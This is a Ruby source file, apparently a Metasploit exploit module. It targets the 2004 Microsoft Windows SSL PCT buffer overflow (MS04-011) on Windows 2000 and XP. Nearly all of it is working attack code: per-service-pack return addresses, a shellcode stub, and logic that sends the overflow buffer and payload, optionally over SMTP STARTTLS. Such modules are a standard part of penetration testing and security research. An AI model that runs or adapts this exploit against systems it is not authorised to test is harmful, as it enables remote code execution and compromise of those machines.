162 lines
4.5 KiB
Ruby
162 lines
4.5 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Private Communications Transport Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the Microsoft
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Windows SSL PCT protocol stack. This code is based on Johnny
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Cyberpunk's THC release and has been tested against Windows
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2000 and Windows XP. To use this module, specify the remote
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port of any SSL service, or the port and protocol of an
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application that uses SSL. The only application protocol
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supported at this time is SMTP. You only have one chance to
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select the correct target, if you are attacking IIS, you may
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want to try one of the other exploits first (WebDAV). If
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WebDAV does not work, this more than likely means that this
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is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS
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5.1). Using the wrong target may not result in an immediate
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crash of the remote system.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2003-0719'],
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[ 'OSVDB', '5250'],
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[ 'BID', '10116'],
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[ 'MSB', 'MS04-011'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 1800,
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'BadChars' => "",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows 2000 SP4',
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{
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'Platform' => 'win',
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'Ret' => 0x67419ce8, # jmp [esp + 0x6c]
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},
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],
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[
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'Windows 2000 SP3',
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{
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'Platform' => 'win',
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'Ret' => 0x67419e1d, # jmp [esp + 0x6c]
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},
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],
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[
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'Windows 2000 SP2',
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{
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'Platform' => 'win',
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'Ret' => 0x6741a426, # jmp [esp + 0x6c]
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},
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],
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[
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'Windows 2000 SP1',
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{
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'Platform' => 'win',
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'Ret' => 0x77e4f44d, # jmp [ebx + 0x14]
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},
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],
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[
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'Windows 2000 SP0',
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{
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'Platform' => 'win',
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'Ret' => 0x7658a6cb, # jmp [ebx + 0x0e]
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},
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],
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[
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'Windows XP SP0',
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{
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'Platform' => 'win',
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'Ret' => 0x0ffb7de9, # jmp [esp + 0x6c]
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},
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],
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[
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'Windows XP SP1',
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{
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'Platform' => 'win',
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'Ret' => 0x0ffb832f, # jmp [esp + 0x6c]
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},
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],
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],
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'DisclosureDate' => 'Apr 13 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"])
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], self.class)
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end
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def exploit
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connect
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print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")
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# This is a heap ptr to the ssl request
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# ... and just happens to not die ...
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# Thanks to CORE and Halvar
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#
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# 80620101 => and byte ptr [esi+1], 0x2
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# bd00010001 => mov ebp, 0x1000100
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# 0016 => add [esi], dl
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# 8f8201000000 => pop [esi+1]
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# eb0f => jmp short 11 to shellcode
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buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00"+
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"\xeb\x0f" + 'XXXXXXXXXXX' +
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[target.ret ^ 0xffffffff].pack('V')+
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payload.encoded
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# Connect to a SMTP service, call STARTTLS
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if (datastore['PROTO'] == 'smtp')
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greeting = sock.get_once
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sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")
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resp = sock.get_once
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sock.put("STARTTLS\r\n")
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resp = sock.get_once
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if (resp and resp !~ /^220/)
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print_warning("Warning: this server may not support STARTTLS")
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end
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end
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sock.put(buf)
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resp = sock.get_once
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if (resp == "\x00\x00\x01")
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print_status("The response indicates that the PCT protocol is disabled")
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end
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handler
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disconnect
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end
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end
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